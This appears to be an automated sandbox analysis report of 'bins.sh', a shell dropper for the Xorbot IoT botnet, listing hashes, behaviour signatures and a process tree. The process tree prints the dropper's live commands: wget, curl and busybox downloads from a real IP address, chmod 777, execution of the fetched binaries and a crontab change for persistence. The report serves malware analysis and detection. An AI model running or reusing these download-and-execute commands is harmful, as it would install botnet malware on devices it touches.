Analysis

  • max time kernel
    146s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/12/2024, 15:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5eab5295c0740b5344abb66f19ea0e39

  • SHA1

    7796e56bc014459c40563c509569791a6f05341a

  • SHA256

    b516438a84f4d4febdc19c62bae733ac24bf557205fd8ac1e42d1fb0f83f0d5a

  • SHA512

    6922bb223cb1df386c64584feb519299b4e06ed94d6153a314e01a883ecfa5a608bfb4732e11dff85402cdc406fd1293db7914457c14f8024a54f87754afb4d4

  • SSDEEP

    96:C//63ZCcEgN6L/vLIPnA43WlMf61Nx//63bZCcEgN8Lv7vLIPnlXXWTyYl6f81Na:dCcEg4BaWuf61PcEgVIQz

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1764) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:666
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:672
        • /usr/bin/wget
          wget http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:676
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:691
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:698
        • /bin/chmod
          chmod 777 pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • File and Directory Permissions Modification
          PID:700
        • /tmp/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          ./pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:701
        • /bin/rm
          rm pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74
          2⤵
          • System Network Configuration Discovery
          PID:703
        • /usr/bin/wget
          wget http://216.126.231.164/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • Writes file to tmp directory
          PID:704
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:705
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • Writes file to tmp directory
          PID:708
        • /bin/chmod
          chmod 777 VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • File and Directory Permissions Modification
          PID:711
        • /tmp/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          ./VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
          • Executes dropped EXE
          PID:712
        • /bin/rm
          rm VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V
          2⤵
            PID:716
          • /usr/bin/wget
            wget http://216.126.231.164/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • Writes file to tmp directory
            PID:717
          • /usr/bin/curl
            curl -O http://216.126.231.164/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:725
          • /bin/busybox
            /bin/busybox wget http://216.126.231.164/bins/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • Writes file to tmp directory
            PID:732
          • /bin/chmod
            chmod 777 MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • File and Directory Permissions Modification
            PID:736
          • /tmp/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            ./MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:738
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:740
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:741
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:743
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:744
                • /bin/rm
                  rm MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ
                  2⤵
                    PID:748
                  • /usr/bin/wget
                    wget http://216.126.231.164/bins/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
                    2⤵
                      PID:752
                    • /usr/bin/curl
                      curl -O http://216.126.231.164/bins/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
                      2⤵
                        PID:753
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.164/bins/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
                        2⤵
                        • Writes file to tmp directory
                        PID:755
                      • /bin/chmod
                        chmod 777 QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
                        2⤵
                        • File and Directory Permissions Modification
                        PID:761
                      • /tmp/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
                        ./QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
                        2⤵
                        • Executes dropped EXE
                        PID:763
                      • /bin/rm
                        rm QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp
                        2⤵
                          PID:764
                        • /usr/bin/wget
                          wget http://216.126.231.164/bins/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                          2⤵
                            PID:765
                          • /usr/bin/curl
                            curl -O http://216.126.231.164/bins/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                            2⤵
                              PID:768
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.164/bins/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                              2⤵
                              • Writes file to tmp directory
                              PID:772
                            • /bin/chmod
                              chmod 777 VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                              2⤵
                              • File and Directory Permissions Modification
                              PID:857
                            • /tmp/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                              ./VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                              2⤵
                              • Executes dropped EXE
                              PID:858
                            • /bin/rm
                              rm VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5
                              2⤵
                                PID:859
                              • /usr/bin/wget
                                wget http://216.126.231.164/bins/4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                                2⤵
                                  PID:861
                                • /usr/bin/curl
                                  curl -O http://216.126.231.164/bins/4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                                  2⤵
                                    PID:862
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.164/bins/4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:865
                                  • /bin/chmod
                                    chmod 777 4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:867
                                  • /tmp/4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                                    ./4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                                    2⤵
                                    • Executes dropped EXE
                                    PID:869
                                  • /bin/rm
                                    rm 4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32
                                    2⤵
                                      PID:871
                                    • /usr/bin/wget
                                      wget http://216.126.231.164/bins/UFK1aCixdf3UXYbkGRVrbde4PB5uIIoYvO
                                      2⤵
                                        PID:872

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/4LWt5NF1vFsWBm5H1a9V9Koy1DYBNJzq32

                                      Filesize

                                      111KB

                                      MD5

                                      701e7a55a4f3650f5feee92a9860e5fc

                                      SHA1

                                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                      SHA256

                                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                      SHA512

                                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                    • /tmp/MF43ZiGhmBLYpBbG6wFc7vH5q77xmFK6FZ

                                      Filesize

                                      177KB

                                      MD5

                                      786d75a158fe731feca3880f436082c0

                                      SHA1

                                      79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                      SHA256

                                      5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                      SHA512

                                      7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                    • /tmp/QawHGfNDrQs7XudNgwWeAeB79KQMkYNnhp

                                      Filesize

                                      141KB

                                      MD5

                                      3ca8decdb1e52c423c521bfff02ac200

                                      SHA1

                                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                                      SHA256

                                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                      SHA512

                                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                    • /tmp/VAny7AriniG4jyy7II43Ri0DQ1d0whOQs5

                                      Filesize

                                      151KB

                                      MD5

                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                      SHA1

                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                      SHA256

                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                      SHA512

                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                    • /tmp/VohAOsXTP4ydnDgDbJeZUEcUuz62ylK00V

                                      Filesize

                                      98KB

                                      MD5

                                      5141342d0df8699fa32a6b066a0c592e

                                      SHA1

                                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                                      SHA256

                                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                      SHA512

                                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                    • /tmp/pqxQ5KIpCx54287M1CRNi3A2oW4TZmrf74

                                      Filesize

                                      112KB

                                      MD5

                                      05d7857dcead18bbd86d2935f591873c

                                      SHA1

                                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                                      SHA256

                                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                      SHA512

                                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                    • /var/spool/cron/crontabs/tmp.PRUAHl

                                      Filesize

                                      210B

                                      MD5

                                      6fb577f35e7b9560a29f141200de27c2

                                      SHA1

                                      d2cde7fa96d31ab725a50d55ac4520b52beca1d6

                                      SHA256

                                      5019c32512718d8114198552e507fcbc87831cea95c2c593f45760a766045a91

                                      SHA512

                                      a693854853c0597ebc3d1599f5dea57ece3693fae42811a2cba4cf0fdbe28ba609610bb08c0015854c6fcea32633c5a0f9a8bb3ecdf419a167b5e48a4c82846b